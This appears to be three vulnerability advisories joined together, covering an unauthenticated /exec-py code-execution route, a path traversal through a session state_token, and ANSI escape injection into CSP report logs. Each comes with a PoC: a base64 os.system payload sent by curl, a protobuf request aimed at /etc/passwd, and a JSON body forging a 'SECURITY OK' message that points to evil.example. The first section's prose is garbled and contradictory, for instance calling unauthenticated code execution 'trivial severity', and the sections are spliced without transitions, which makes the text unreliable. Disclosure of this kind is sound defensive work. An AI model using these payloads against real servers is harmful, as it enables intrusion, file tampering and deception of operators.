The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Summary

The /__csp__ endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using print() without escaping control characters.

A remote attacker can include ANSI/VT100 escape sequences in fields such as blocked-uri or document-uri. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.

Details

The CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:

mesop/server/static_file_serving.py

@app.route(prefix_base_url("/__csp__"), methods=["POST"])
def csp_report():
    report = request.get_json(force=True)

    document_uri = report["csp-report"]["document-uri"]
    blocked_uri = report["csp-report"]["blocked-uri"]
    violated_directive = report["csp-report"]["violated-directive"]

    print(f"... Blocked URL: {blocked_uri} ...")

Since these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.

PoC

Send the following request:

POST /__csp__
Content-Type: application/json

{
  "csp-report": {
    "document-uri": "https://victim.example",
    "blocked-uri": "\u001b[2J\u001b[H\u001b[32m*** SECURITY OK - No CSP violations found ***\u001b[0m\n\u001b[8mhttps://evil.example",
    "violated-directive": "script-src-elem"
  }
}

The request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.

When the captured output is rendered in a VT100-compatible terminal (verified using pyte), the original CSP warning is visually replaced with attacker-controlled content.

Expected output

    Content Security Policy Error

Directive: script-src-elem
Blocked URL: ...
App path: /app

Rendered output

*** SECURITY OK - No CSP violations found ***
https://evil.example
App path: /app

Impact

An unauthenticated remote attacker can submit a crafted request to the /csp endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:

1. Inject forged log messages that appear to originate from the application.
2. Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.
3. Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.
4. Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake "SECURITY OK" notifications).
5. Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.